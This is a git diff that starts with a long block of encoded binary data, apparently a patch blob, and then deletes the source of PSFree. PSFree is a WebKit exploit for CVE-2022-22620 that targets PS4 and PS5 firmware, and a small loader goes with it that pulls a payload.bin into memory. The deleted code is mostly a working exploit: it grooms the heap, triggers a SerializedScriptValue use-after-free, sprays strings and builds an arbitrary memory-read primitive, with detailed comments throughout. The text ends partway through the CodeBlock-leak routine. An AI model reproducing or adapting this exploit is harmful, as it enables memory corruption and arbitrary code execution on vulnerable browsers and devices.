zf5jT~52F1Q%4%HEPCIqhb)+8{TGwNpKpk`!^OoyS%;oI{Z+U7V+NK)t!p~wj{lxu-)1DbblaZ%op9Fkb zW?x79h=NQMg;)^9!(?ku`*}QX*_v}57Ni}$;J$t(=r5jwzIFp7?HqQAD3+n)tDEGw zb&i`KsMXBAKq_R^wdgFEDm{hjt?m~p!Ms5t32IOyf9P$TykI%?z$NsX1bG%VA5uSz z=N`KDi=MN97`cVsug&2=Pw9LX_Xd3Mi}^dj9&xW7vwl0Ta`UB?zc6L^t0zvy4~%4KUvS68;Cu`tH_6< zs9W$p60|d*3u;)?!-Ut0hsQQ!t&rJ_T<#3(z!Y3@B@GHXRpW?%KBUUPYtHF@Zu3Aq z|B{P#RpiQMPCF-s-_1}rf5*_Pa5J`G*@0+&U%pA;`Hww%D0#4-r`;wej^4hm#CcQa z&!_iQK&qC3)G?R3`34!Sa~=9_hK|#@oA-T}OZpl|`~q$-ZpU)GJ`n$oA4u~sU>>=@ zA`Nq@gI|t*!D&CF)w8?)@!VLMzM;^kSTz8b184&*loSenT0?ISKNu*j5AR;jJx!Qg z4}bl6yq_;xJ-ELjyc+=FHu}1eK7g+1Ne(8G!+Mg#KL(I#E+cfBLqBtTem|(g<@beF zl;5RT(fyks$PQxNa)DgRI8PH83t}Pm;3Ief-iJ!X{6gTuX&beordf;Wk~ztJC_V)` z$b>hwnD*84crSjGnxl!=wN8gd=Cer3e(~4eg@?vo+`_lmO(lE}K`@{gc zvd=?vs$6UjPPz% z@&FP)=2J9K>z~gvxh}=`B7cd*&zS-JoWWZZ@hl5V|8D-)v`-T9x_OXz1lfBY^MW>v zUpDQ3(R2m4LWgNO3DPcxb?6;XEwj$z-C8hao6+-$(>_ zB89K_pAf&khgnaJ#5QQ=*i2{;ask8zoI{l8QT*erO46I|LdS6ELbCHt;h~SaWwf*5 zMfKet!q`8jwi$PvjOkp@`xnF&6wF_p*O8-@Q&VBhO;iX+{C(-Y>+QxISZ1u0lbey! z-n@n`v9;*4lbld6wvIkx+;KdHx?wlUzSDCblKI5bPTofiKKn==dEIZrCA;Mx#6L7z zT760Gmhapl6Rsltj_f82#t}HTXgKZ5{X}DCH(g-IC5sbs+Lhuo&&r6yIq!GW<-RtD z6!{eL>qA=T-c(H?d2-DN^z)CCMDOvF#JQEA8@bm+egU!Yc!5^GB=HF6v@v3;A-L!x zE-Sm-SA_dMN_-2HM&Cqyy#0ix5s*P=EV|8WV>L$K6i%y#k}hiJ{jZ}D3U0m|ed99Q zI`MKNlE&W;)A0HN?1NfcU-J0a`ZMIDeZC(*o7auX+(#5LxnxURyPn(tp8H-utdfdA zDs{jEAMf`)_geB8+SZr!odCR>fA!sDK8j~V{?*0)xG@P%+nvt|NxJvStZYNvIQxh`}5&x604zj|mMJ)J?9f}JYI_C)1dY%2^>4UHg zr*jr<=#m~GHK?^9*=%Y9@Xxpa7FUS4*cD;-2eDHqcDe|=A&C74#SRr=9}Qx^q*#pz z%LcK-C{`}Q&JSXLOR+!n31TM&v8So8#p5FEwL$D`iv2`{{W(}0^%VP#2>V44JCpL= zEyA`1v5P6~+al~AgV;3`yGev?3S!L^`0`5_Ydr*YC5X<9|DegWI?udYUfbz79aN7l39Hm<%!aXP8 zc2c@R5$-_&cZK4nh;T~<+!Bf#EyB$fa9_}|JxqifC*XcZaeYO&fw2rD@nO6{P?%GJET3Q&tiqEujmz-yJ9i{zJ6=e6KfUBgq4@J0#1l&1_J0QZ< z2)Kz9_r3@>SKdv8cZhlG2r9zUfeOu%iXI6Q1C;1mMx4w~a}5w1(d<1`d^P=tG5z-^;>ZWG})%IHx=a$h|*RA64l zGuLEZ?rfD&waY!1Q89*S9NyXcg#?hz5`6G3x-44Xk;~~D{|Re?O{h9)KEe*gyO>(1 z$}3i@Hx;I;joeQ4rdv5<&L=Gp^Z1DmXwm&3&HIeri|j(cvn9B;D#UB3W*Bq6H>fw= zq2dZ#P293c@Vj4OYwSdSKf3;b!tF7R+5@SU4K_^Dcur@YH%z)i$+5%5xY}dX54U>L z)C?oHCvWn-S)6C5Dd&67>3|>Qf44tx-aqbF@Y=e47crK)Q$?!swTr|@?x)mo?v4uq z56_|N?||(Qyi85AIp}s@1aC*dbUk=G5)SwU5{t;fc{!RrlbL2N7yQ97vz)AMIvU9^ zMOL=TS*}BXp87jvMmjup`zR*O!{`#2B*r**Zt>X6^h{t&+y&~%Ci0kk>Vk3%p&B#W zWvjF~ChKlWQY{=)4B5D>o*(IVhNI*f%)G`|}v%sBMl%9AuWI|bmB$}Jgrztkq^R^=vtF0E@ z{JEUfP-{#XZ^~hHmDbQSrSvo_6Oxgcctk^YeL9DAnT}6Nms{d=)Jlm*2Th)aNz>Ix z%d-d#8z!S4$T7MyPelckM+C9e;O6^c%1@A`%IwyaS*;G88!f@m*JTOy#ftrmMPsir zkGq~)$<(;4wKnv5DwG_{QtooQYD0=uh6XNl6buVN&>kN^b(7oT^w_DqydP0FIriF3 zZoY(W-tYnaB$t!16Sf|!(Ef^83tg?gh5YCtTfx&}q;%9d+GuM0voNfuvB0Rkn!mBo z{8==vVFmA^!G<4A4321##OVoAhn_Q+K$VucoJ*m0C7CR$v6W-{^UWUG9%hfjQYESy zoJ+!WFq#l1j}nWu7%IKqV768}9cT>Uaak8w%lI?j)L(aZ=>tyF{^wpH1^0&kYwjR# zvsvxsVsf*?VzvLzI{jCiHgoZWZS3oZ-$vi|=7W~3^t)Q?7XesXJjrR>AeE{7jdO@TQz>^3(_Bx_|!V{c- z5G9xxOfaV(9vuVx8WDbA5Z|vak8cs-FZ2oE%LIJA2>(eC|BisK65;<6#7`FR3q<%e zLHyks9zRorUlzpwQJ|kD!Y>HoZxZkm#PSF6(}es-i{%gER|)u`MCVQ4t1hSl_|FA= zvRM8gzMp`F!5s4preiMO7w`C5FDR-=Dz0 zU@lGOvwc)l?RO;zS^!ylKo9UC(F6QMG!#k4k^^c5ake)K**+v>yG8V-oFHIl3D_4z zSih3Tz9?WH7h&HQu-6Lpuu6n|O~CFFXzv$m1O)6R0b4D?x&`b=0V~!f%oDI#0=7hi zohV?Z3fMdmc94L*Q^1ZDVSkDbQ_0tnN`9OwTLw~P%Jq^;-Wktl`$!U>ZLBEU=LPJ( zL>_xOAvoYx3fOxD?585tLY0867OK9dWBN?MA+nT!aB)I^h-qj zk))zp5Ip-N7WSh!LBA(3y-k$uUj*#2K0MYW!agZr2MDxNMc8`;>}CO*Ey6Aqu&0Ea zGey{2sJkc)H7skd2-U;MUK2#G)YhIry-v=j zofh<$v%igvSdbxWXqbpMr0_WMY2rx zgqdtv8e0vLr7V%CN!GHqXPXfrS))>!9QnEE}hBMu=U5}JWct0rebxEGWEr~O#CDZFX5eM9h*qymm$EkOswB+?cNCpzo z@shOM|8i2dg8T4|pT|3f?LwVM$z`s=i`#+|tv-8M3eK>nd5k>a8Z+5<)1Sws8GaIC z8f{OzMyis2Ien*R|rZR&ADTtYWm4Jk;4qCG{D&b^VZXz zF$xaklb3=I;-n`Ra`q=&I=toan=P9d0#mLBx+l7QX#;i3|9nD6K@upCTA?jy(_+ zPE^osX!jo1EDd!||C|>JyM2QxTwi(CpRLpC4O(hU!}btguBqAAR()a75pQGZ+J|pG zf0mFRI37Xe(%d3tm2EXQzHHZ+zJ=4lvwsF$RcesuPg ziq>XI!>Vvd>xs)(J6=>cyo#<*w~o1t1Tpm+m_pC4j!=+;dPit5$F&l}YftwmIwzEm zw7&|lD@YqM`(%FU0@UVa#ph_%Z3C5U9~^Y95Q~~4B+PBCRMt9n!6&fBJ+eE#D{A`M zar}78_VZ(w`)pXI`{PqmzNPRx-Tot4f#AF2Iay%h)@HBQd^KfPoN84mzDo1Ne8J@i zwt;iD5zMHy{^_En;mT@Kx%e2-U(2+?54qFN^4daChCDYkS5XjDegxJL&)a|JcHu+!k z@M~}{xsQ`(A%!OBCEd$m8jwS{zLr*wh^|E7rNIVw)x+?!j1DSyB+UTM}8?@YtNdwO)oBfQAcz3Yg~NkTTOGbPrvYV??n6a+KRiOp^?3d zTm9;mvp;DOqE2QR7t@!JDw0NCYol+!cyz_p_3q_2na#}@%VCbtVsViZ1|MgO>cIL| zliv;ui?xdfcGXc%?^W4%grSa(oNznc+}6Z9gSfhHP1wWEYTyOc?u7FTwEi^G;i7`e zjD9*UC3|j?yh{REiKkEtyNzs%E|c8Wus6`STJ6z7(Y^raG^Mlv+<(_zw=K(NXoZfdt#g@P*u+&o z-4H(9*P;io7iPvIdpmW zp|Z|Thx!$h@tDPhK{PY$XOT>Vb<|yl7o(Gz%|6a;l6@8Qz~qsiUMS=J3~!U6&eqDK zcbG1xMzy+euP~&krOHrCts9}aj|ZKHp8QlbDRR2E^mz&W2!#osqNbQIB#Jx53W+(H zI+T*f;fI@^6z!fo@sNNI=<7}8@2;Rb1i#ZSr<9iy=p;`jSM{V(qJ2akFM5bsYaFS5 z>2qQ;#gIIMZb2azm-F>QWDPSy>7v>#zy3X5+u-;m=+lcW11bCOqR$df ze^8$H{8c+NXF8vff{bLAy7X~Qd_)cu6XzG@f6PDcju^T$^iyxi$8EBXc;MU8fCRmT zU!r`lYBGDj1bS^Emj5ZIsEXo8TE&6!`ddrhxqBv3KQ3hLK^f|=+@T0Tp5;tFew6y~ zF_iBtvqeAdm}sERx3LRtMlS-U>crkX15f*zyuc9_R=On4`swg3^WS}vA#pkAw6Qlc zDesVHRX#G9du+ehd53Q19vtV2DaP~OYDltvb_s?*z^vbGbpac&KWsmkxBqG*Y-R)~_i-7`J-S0}Fy!>;7GDw4`eK&7k*~ zIq$j5$^OzcTEc6_*SZv)&j>9XRJvq;)%wkpm0e!dVPPqUzD`T&;Na{&DF$}=v&A(# z`(1@q$4g?DVAZBsz5|alABByfWRkkn>>O45;X?u@WQOa8vevg#W7RAz`d$U3I-#NG(*zistc$7w4FW(q6)lEpJ z+$I`q2j0XxYoHW<`CNyV)|6o3^pjuJof=NcmAaoUoY55>>|9ctqnns`UwvCOW@VS% zY3P|SsLnZ?`|L}(N{w=2z4AU88JX>34dVSLtcDQj^^S2wRh8!6tPwb-!W-ps=wVyK zSob}xm*+k?(h%p4;v-S7lfDF^nsVYTCq+A4h8RM zjkg*Ka3d=_c{@+=qY-wkNzXscm-aqODvPZdR=N#YEVZ(pJv{a>mxPtywY%et!dvXT z+s|>g8SVID)X|{=9=AP7)*uA;Jpf$QW z$bo|4IQws|+<(NjlWOac)OIJ{)fIpAw5{YlHO;zRQg$53&gEYR#(?L764-u~E4=eS z)i!iaLZ67^9lL+lHSmv2nYr2zukCJ_$a6ifx9~x}So58iEHtBialCCW)xA?wiLJN4 zfpT?7^p#Eh7$GVogmI^SXw?UN$!8}cy>SjoLCvmu)eYVyOw)hSvcP4Ee9Tps6@q^i zg{C7p)5V<0`$bcg{9(xShaQn;wz`ZlHIryKGihe3!kDp;86ygt3O$#iMw{hsGM+5` zwuqZM6~YK622Dmm8}`J1H&*A1A|`xWMC-o4%hbO+vJd*f5 z2O5}~b0gF(pv5ry-Z$Xpp7YWA-;n~L#=nAuWqrimj<)&jUyym+CSE_68_tIhn-|r6 zpb?`<;ACGgMMC?)DWZ$_bIbSlrJayUn@$hj=Y~FJbX(}Dl08?N^=Px4x@7DuG-hJ< zXw}yDSI30LO;r%=C$4nti1s#B`+8H6>r6R!oV+x}{5=0F(>-}k+*R7q{GzXCK!XBR z!rS;}U+c509a1(KJvs_r(==k> zin?=CamMyK0nXX2ufv0~v!_P;G+Nxl%{3PpWo6`~`TS6|rh?kixgQ>ZV(DFtIbeE@ z^E;nO@3P)^nGn_Q6^ve=QWcG_1Jp0Vkfw^laR>OF&d!q)BdkTYim* zc~ZtgTO9<~QM%YRlVI%`YV^e}RetTqf;&aldim5?cBqKa_R20VS8L23=j85FKm0~M zPW!o9FKO?`)O$D=LfxI~q3+8c1k{@-S7(xDF8W?Mw>Jw`q@NB`!M0-OPHBICq@|q~ z56Kb4Qz7Ph0hc#4&OYO!xbsjJ%s;sMKi1J2yuGgO=Fw z{nB-k+ba}Xu~K8)w%^O_JTEzz&O>ra!?VB0MVFn|u(rB*aBE|n%#Bj*{*2S1l4E75 z`VC!XUbaS7UyUJw8isN%TB^$9&z**bX%Bbt+`e&H(yskr5>Fc(J1kw{5nLFA&T45U zw3md1zAdL?!AYR?dJg(P^vobQ3_*(b_k1p~~WbBwqOyuP&Y^I6!np2Ktt*! zsM}SIPHJn*B)`hFdhscyxX%1pi$|dTE-^URT;gEVs90u~vVvj}q1_L4aw+rdeE~gb zY~#n!Gg4mVBE!NBPnLEbIiMAI|4X0BiRPmL_AhMls$dgm>{B0Tz9*UxF7Z(RTAMbEs27QX{IY{4f3ZeD*AW!1{YXA0K9Nmzs zICSvq`xb$qbgQZ#jN*X?CuP^w2?5`Ty#<6vqYs#Q+ zu&COEOU z=Sn^RcMT0KEOHipIB~hO+5W_=aE+{)Z&1OHBXN3uq`~^`usFc z$B%QdMhC-7e8kE!z3X0x9}%7pQw~B&ec%Vly?_{|a^;Eog(QD*<&S}I9&tTW{SoC+ z?h}8G^aU2*g&}XV0=kMi@qtd z7-vM&$ITg)q{qfpCz|wGQgo;mBvGQ6_*VDuB7!r#`O>YcE_IAx1;^FOYSw98p>3BX3!IJzY^td}=#s7c zGHryDaH!pOAc0^5kBT^U{*1^W#&g@%p*$DaRi@%C;x53&tUAdU=uu0fMLwiGXE{b) zWf%HcFi`0{;&CVt5_KJG^y?cdMox%2Jxs*7mG^nc+MUt9MvO0z+}Y@c|VhW%G<_?&n`AT%p|(qLPWM4$&Dssw)vJ z3?hQWq{XumB;?4K8G_Ioq#n*`j%kDb~sM0JyZ zHw|!;>7(!|G;yc6nIdy1PsDgjkDBc&8u%uw-LEMr6%+Xa8~GEk$!($U1_qy;=R)Kr zYx6|30=8aS-$GJy`8TAHt1t$>P1>~Ht zaF;v%^#y!9YZmv6d#SA&v;MoOi0NC>-)(H@39E~(Z*Qj@fbh;mnTiQX-I_~Zh_Z%v z({wYOZE2|aN;$FxPyI7|!F;<=_^}LfXqDYjoRA#-JWsuf1$9b@nrhSAoz>%Y7%`jK zV|_i10p^Kt&L9(R^+@Cw5Eb%NQ_>iIJoH9|DdMdjqKF*5Scv*aVanQq>;@X4lg(jy(UcuruEU48&RE_stOd)EbO|P+1 zo|kiS3d4h^UfqJ~wB8NUl5_$n0|Bp0Op~I6Vhx!21>G5}Zj4Rf#(OQO975DOg{j$e zRyRnw^=^39yXi-eW`S;lc_L0_kO$?+S~k72Sv~!x2xc`FXok8dM9ox~T3bqGK@twZ znTIpT>2j=gqDrxhW`!wHOOg&Sw3|KXl(fiLEMD1yswG6Nx9P3ST5ks!TCq)Ulv19t zxEwu1h}xwvC6bUf8I?h1lO>Dh?=lt&pLk9pwOW#H0UNm41B??VlV_cf#;{_oCOjT^ zY+D97#FC`(pa8iy4<{@~&tGo_m&s}dm>^P8j_x2tjRh*dxxSkCgp6qdBHW%%!bzf}N3^>6HY3=HN7!?3b2FvpD~z`%-Hw>kpQ8_B9H zGm9J{AeI-(0!17`K>Ddei&H}uw;cn0d_`3X8+?4(p{s^13 zY=%Sr!fc}bi;_o)I+VE$+<6YJcK zv<+orGJp}-9?J*NZ`1nvF@Lp<#k1D9z5^f@fuCbLo76k7E!@z3bgWz+&QGtLhY;5f892}gSTwL7T zJUkExFE1Y-KR;*_n-f6i2Jj&uUf>J?;FRqkQIG@(3X%cs18IQtK_;LRAU9AT=qe~5 z)C3v@Z2|vA-{4??wgAKi5IaB|0I@uR+k`;eTs)i*4qkRXHvTPJ!2-Xx;2j8zJHW%m zJq*SgpohCONY&TdRa;Zl*IgNyS8%9u=mBkIZB3Oxw2JzFKkh$jtg?Pz|5MNsgNbI@ z)wam);Q{!1kpNfN)HzvBfCM-7-|P9^F7JjLv~!b-Z1UesYE$6ejuRpY+^RBJEJ diff --git a/psfree/payload.js b/psfree/payload.js deleted file mode 100644 index f64dfc2..0000000 --- a/psfree/payload.js +++ /dev/null @@ -1,6 +0,0 @@ -fetch('./payload.bin').then(res => { - res.arrayBuffer().then(arr => { - window.pld = new Uint32Array(arr); - - }) -}) \ No newline at end of file diff --git a/psfree/psfree.mjs b/psfree/psfree.mjs deleted file mode 100644 index fb9b346..0000000 --- a/psfree/psfree.mjs +++ /dev/null @@ -1,862 +0,0 @@ -/* Copyright (C) 2023-2025 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write -// -// vulnerable: -// * PS4 [6.00, 10.00) -// * PS5 [1.00, 6.00) -// -// * CelesteBlue from ps4-dev on discord.com -// * Helped in figuring out the size of WebCore::SerializedScriptValue and -// its needed offsets on different firmwares. -// * figured out the range of vulnerable firmwares -// * janisslsm from ps4-dev on discord.com -// * Helped in figuring out the size of JSC::ArrayBufferContents and its -// needed offsets on different firmwares. -// * Kameleon_ from ps4-dev on discord.com - tester -// * SlidyBat from PS5 R&D discord.com -// * Helped in figuring out the size of JSC::ArrayBufferContents and its -// needed offsets on different firmwares (PS5). - -import { Int } from './module/int64.mjs'; -import { Memory,mem } from './module/mem.mjs'; -import { KB, MB } from './module/offset.mjs'; -import { BufferView } from './module/rw.mjs'; - -import { - die, - DieError, - log, - clear_log, - sleep, - hex, - align, -} from './module/utils.mjs'; - -import * as config from './config.mjs'; -import * as off from './module/offset.mjs'; - -// check if we are running on a supported firmware version -const [is_ps4, version] = (() => { - const value = config.target; - const is_ps4 = (value & 0x10000) === 0; - const version = value & 0xffff; - const [lower, upper] = (() => { - if (is_ps4) { - return [0x600, 0x1000]; - } else { - return [0x100, 0x600]; - } - })(); - - if (!(lower <= version && version < upper)) { - throw RangeError(`invalid config.target: ${hex(value)}`); - } - - return [is_ps4, version]; -})(); - -const ssv_len = (() => { - if (0x600 <= config.target && config.target < 0x650) { - return 0x58; - } - - // PS4 9.xx and all supported PS5 versions - if (config.target >= 0x900) { - return 0x50; - } - - if (0x650 <= config.target && config.target < 0x900) { - return 0x48; - } -})(); - -// these constants are expected to be divisible by 2 -const num_fsets = 0x180; -const num_spaces = 0x40; -const num_adjs = 8; - -const num_reuses = 0x300; -const num_strs = 0x200; -const num_leaks = 0x100; - -// we can use the rows attribute of a frameset to allocate from fastMalloc -// -// see parseAttribute() from -// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x -// -// parseAttribute() will call newLengthArray(): -// -// UniqueArray newLengthArray(const String& string, int& len) -// { -// RefPtr str = string.impl()->simplifyWhiteSpace(); -// ... -// len = countCharacter(*str, ',') + 1; [1] -// auto r = makeUniqueArray(len); [2] -// ... -// } -// -// pseudocode definition: -// -// class UniqueArray: -// size_t _size; [3] -// Length _data[]; -// -// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len. -// [3] adds an extra 8 bytes to the array -// -// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from -// fastMalloc, then we need: -// -// const num_repeats = ssv_len / 8 - 2; -// const rows = ','.repeat(num_repeats); -const rows = ','.repeat(ssv_len / 8 - 2); - -const original_strlen = ssv_len - off.size_strimpl; -const original_loc = location.pathname; - -function gc() { - new Uint8Array(4 * MB); -} - -function sread64(str, offset) { - const low = ( - str.charCodeAt(offset) - | str.charCodeAt(offset + 1) << 8 - | str.charCodeAt(offset + 2) << 16 - | str.charCodeAt(offset + 3) << 24 - ); - const high = ( - str.charCodeAt(offset + 4) - | str.charCodeAt(offset + 5) << 8 - | str.charCodeAt(offset + 6) << 16 - | str.charCodeAt(offset + 7) << 24 - ); - return new Int(low, high); -} - -function prepare_uaf() { - const fsets = []; - const indices = []; - - function alloc_fs(fsets, size) { - for (let i = 0; i < size / 2; i++) { - const fset = document.createElement('frameset'); - fset.rows = rows; - fset.cols = rows; - fsets.push(fset); - } - } - - // the first call to either replaceState/pushState is likely to allocate a - // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents - // the SmallLine where the SSV resides from being freed. so we do a dummy - // call first - history.replaceState('state0', ''); - - alloc_fs(fsets, num_fsets); - - // the "state1" SSVs is what we will UAF - - history.pushState('state1', '', original_loc + '#bar'); - indices.push(fsets.length); - - alloc_fs(fsets, num_spaces); - - history.pushState('state1', '', original_loc + '#foo'); - indices.push(fsets.length); - - alloc_fs(fsets, num_spaces); - - history.pushState('state2', ''); - return [fsets, indices]; -} - -// WebCore::SerializedScriptValue use-after-free -// -// be careful when accessing history.state since History::state() will get -// called. History will cache the SSV at its m_lastStateObjectRequested if you -// do. that field is a RefPtr, thus preventing a UAF if we cache "state1" -async function uaf_ssv(fsets, index, index2) { - const views = []; - const input = document.createElement('input'); - input.id = 'input'; - const foo = document.createElement('input'); - foo.id = 'foo'; - const bar = document.createElement('a'); - bar.id = 'bar'; - - log(`ssv_len: ${hex(ssv_len)}`); - - let pop = null; - let pop2 = null; - let pop_promise2 = null; - let blurs = [0, 0]; - let resolves = []; - - function onpopstate(event) { - const no_pop = pop === null; - const idx = no_pop ? 0 : 1; - - log(`pop ${idx} came`); - if (blurs[idx] === 0) { - const r = resolves[idx][1]; - r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); - } - - if (no_pop) { - pop_promise2 = new Promise((resolve, reject) => { - resolves.push([resolve, reject]); - addEventListener('popstate', onpopstate, {once: true}); - history.back(); - }); - } - - if (no_pop) { - pop = event; - } else { - pop2 = event; - } - resolves[idx][0](); - } - - const pop_promise = new Promise((resolve, reject) => { - resolves.push([resolve, reject]); - addEventListener('popstate', onpopstate, {once: true}); - }); - - function onblur(event) { - const target = event.target; - const is_input = target === input; - const idx = is_input ? 0 : 1; - log(`${target.id} blur came`); - - if (blurs[idx] > 0) { - die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); - } - - // we replace the URL with the original so the user can rerun the - // exploit via a reload. If we don't, the exploit will append another - // "#foo" to the URL and the input element will not be blurred because - // the foo element won't be scrolled to during history.back() - history.replaceState('state3', '', original_loc); - - // free the SerializedScriptValue's neighbors and thus free the - // SmallLine where it resides - const fset_idx = is_input ? index : index2; - for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) { - fsets[i].rows = ''; - fsets[i].cols = ''; - } - - for (let i = 0; i < num_reuses; i++) { - const view = new Uint8Array(new ArrayBuffer(ssv_len)); - view[0] = 0x41; - views.push(view); - } - - blurs[idx]++; - } - - input.addEventListener('blur', onblur); - foo.addEventListener('blur', onblur); - - document.body.append(input); - document.body.append(foo); - document.body.append(bar); - - // FrameLoader::loadInSameDocument() calls Document::statePopped(). - // statePopped() will defer firing of popstate until we're in the complete - // state - // - // this means that onblur() will run with "state2" as the current history - // item if we call loadInSameDocument too early - log(`readyState now: ${document.readyState}`); - - if (document.readyState !== 'complete') { - await new Promise(resolve => { - document.addEventListener('readystatechange', function foo() { - if (document.readyState === 'complete') { - document.removeEventListener('readystatechange', foo); - resolve(); - } - }); - }); - } - - log(`readyState now: ${document.readyState}`); - - await new Promise(resolve => { - input.addEventListener('focus', resolve, {once: true}); - input.focus(); - }); - - history.back(); - await pop_promise; - await pop_promise2; - - log('done await popstate'); - - input.remove(); - foo.remove(); - bar.remove(); - - const res = []; - for (let i = 0; i < views.length; i++) { - const view = views[i]; - if (view[0] !== 0x41) { - log(`view index: ${hex(i)}`); - log('found view:'); - log(view); - - // set SSV's refcount to 1, all other fields to 0/NULL - view[0] = 1; - view.fill(0, 1); - - if (res.length) { - res[1] = [new BufferView(view.buffer), pop2]; - break; - } - - // return without keeping any references to pop, making it GC-able. - // its WebCore::PopStateEvent will then be freed on its death - res[0] = new BufferView(view.buffer); - i = num_reuses - 1; - } - } - - if (res.length !== 2) { - die('failed SerializedScriptValue UAF'); - } - return res; -} - -class Reader { - constructor(rstr, rstr_view) { - this.rstr = rstr; - this.rstr_view = rstr_view; - this.m_data = rstr_view.read64(off.strimpl_m_data); - } - - read8_at(offset) { - return this.rstr.charCodeAt(offset); - } - - read32_at(offset) { - const str = this.rstr; - return ( - str.charCodeAt(offset) - | str.charCodeAt(offset + 1) << 8 - | str.charCodeAt(offset + 2) << 16 - | str.charCodeAt(offset + 3) << 24 - ) >>> 0; - } - - read64_at(offset) { - return sread64(this.rstr, offset); - } - - read64(addr) { - this.rstr_view.write64(off.strimpl_m_data, addr); - return sread64(this.rstr, 0); - } - - set_addr(addr) { - this.rstr_view.write64(off.strimpl_m_data, addr); - } - - // remember to use this to fix up the StringImpl before freeing it - restore() { - this.rstr_view.write64(off.strimpl_m_data, this.m_data); - this.rstr_view.write32(off.strimpl_strlen, original_strlen); - } -} - -// we now have a double free on the fastMalloc heap -async function make_rdr(view) { - let str_wait = 0; - const strs = []; - const u32 = new Uint32Array(1); - const u8 = new Uint8Array(u32.buffer); - const marker_offset = original_strlen - 4; - const pad = 'B'.repeat(marker_offset); - - log('start string spray'); - while (true) { - for (let i = 0; i < num_strs; i++) { - u32[0] = i; - // on versions like 8.0x: - // * String.fromCharCode() won't create a 8-bit string. so we use - // fromCodePoint() instead - // * Array.prototype.join() won't try to convert 16-bit strings to - // 8-bit - // - // given the restrictions above, we will ensure "str" is always a - // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) - // to see that String.prototype.repeat() will create a 8-bit string - // if the repeated string's length is 1 - // - // Array.prototype.join() calls JSC::JSStringJoiner::join(). it - // returns a plain JSString (not a JSRopeString). that means we - // have allocated a WTF::StringImpl with the proper size and whose - // string data is inlined - const str = [pad, String.fromCodePoint(...u8)].join(''); - strs.push(str); - } - - if (view.read32(off.strimpl_inline_str) === 0x42424242) { - view.write32(off.strimpl_strlen, 0xffffffff); - break; - } - - strs.length = 0; - gc(); - await sleep(); - str_wait++; - } - log(`JSString reused memory at loop: ${str_wait}`); - - const idx = view.read32(off.strimpl_inline_str + marker_offset); - log(`str index: ${hex(idx)}`); - log('view:'); - log(view); - - // versions like 8.0x have a JSC::JSString that have their own m_length - // field. strings consult that field instead of the m_length of their - // StringImpl - // - // we work around this by passing the string to Error. - // ErrorInstance::create() will then create a new JSString initialized from - // the StringImpl of the message argument - const rstr = Error(strs[idx]).message; - log(`str len: ${hex(rstr.length)}`); - if (rstr.length === 0xffffffff) { - log('confirmed correct leaked'); - const addr = ( - view.read64(off.strimpl_m_data) - .sub(off.strimpl_inline_str) - ); - log(`view's buffer address: ${addr}`); - return new Reader(rstr, view); - } - die("JSString wasn't modified"); -} - -// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array -// of JSValues whose size is ssv_len. the undefined constant is automatically -// added due to reasons such as "undefined is returned by default if the -// function exits without returning anything" -const cons_len = ssv_len - 8*5; -const bt_offset = 0; -const idx_offset = ssv_len - 8*3; -const strs_offset = ssv_len - 8*2; -const src_part = (() => { - // we user var instead of let/const since such variables always get - // initialized to the NULL JSValue even if you immediately return. we will - // make functions that do as little as possible in order to speed up the - // exploit. m_constantRegisters will still contain the unused constants - // - // function foo() { - // return; - // let a = 1; - // } - // - // the resulting bytecode: - // bb#1 - // [ 0] enter - // [ 1] get_scope loc4 - // [ 3] mov loc5, loc4 - // [ 6] check_traps - // // this part still initializes a with the NULL JSValue - // [ 7] mov loc6, (const0) - // [ 10] ret Undefined(const1) - // Successors: [ ] - // - // bb#2 - // [ 12] mov loc6, Int32: 1(const2) - // [ 15] ret Undefined(const1) - // Successors: [ ] - // - // - // Constants: - // k0 = - // k1 = Undefined - // k2 = Int32: 1: in source as integer - let res = 'var f = 0x11223344;\n'; - // make unique constants that won't collide with the possible marker values - for (let i = 0; i < cons_len; i += 8) { - res += `var a${i} = ${num_leaks + i};\n`; - } - return res; -})(); - -async function leak_code_block(reader, bt_size) { - const rdr = reader; - const bt = []; - // take into account the cell and indexing header of the immutable - // butterfly - for (let i = 0; i < bt_size - 0x10; i += 8) { - bt.push(i); - } - - // cache the global variable resolution - const slen = ssv_len; - - const bt_part = `var bt = [${bt}];\nreturn bt;\n`; - const part = bt_part + src_part; - const cache = []; - for (let i = 0; i < num_leaks; i++) { - cache.push(part + `var idx = ${i};\nidx\`foo\`;`); - } - - const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB; - const smallPageSize = 4 * KB; - const search_addr = align(rdr.m_data, chunkSize); - log(`search addr: ${search_addr}`); - - log(`func_src:\n${cache[0]}\nfunc_src end`); - log('start find CodeBlock'); - let winning_off = null; - let winning_idx = null; - let winning_f = null; - let find_cb_loop = 0; - // false positives - let fp = 0; - rdr.set_addr(search_addr); - loop: while (true) { - const funcs = []; - for (let i = 0; i < num_leaks; i++) { - const f = Function(cache[i]); - // the first call allocates the CodeBlock - f(); - funcs.push(f); - } - - for (let p = 0; p < chunkSize; p += smallPageSize) { - for (let i = p; i < p + smallPageSize; i += slen) { - if (rdr.read32_at(i + 8) !== 0x11223344) { - continue; - } - - rdr.set_addr(rdr.read64_at(i + strs_offset)); - const m_type = rdr.read8_at(5); - // make sure we're not reading the constant registers of an - // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. - // CodeBlock converts those to JSArrays - if (m_type !== 0) { - rdr.set_addr(search_addr); - winning_off = i; - winning_idx = rdr.read32_at(i + idx_offset); - winning_f = funcs[winning_idx]; - break loop; - } - rdr.set_addr(search_addr); - fp++; - } - } - - find_cb_loop++; - gc(); - await sleep(); - } - log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); - log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); - - 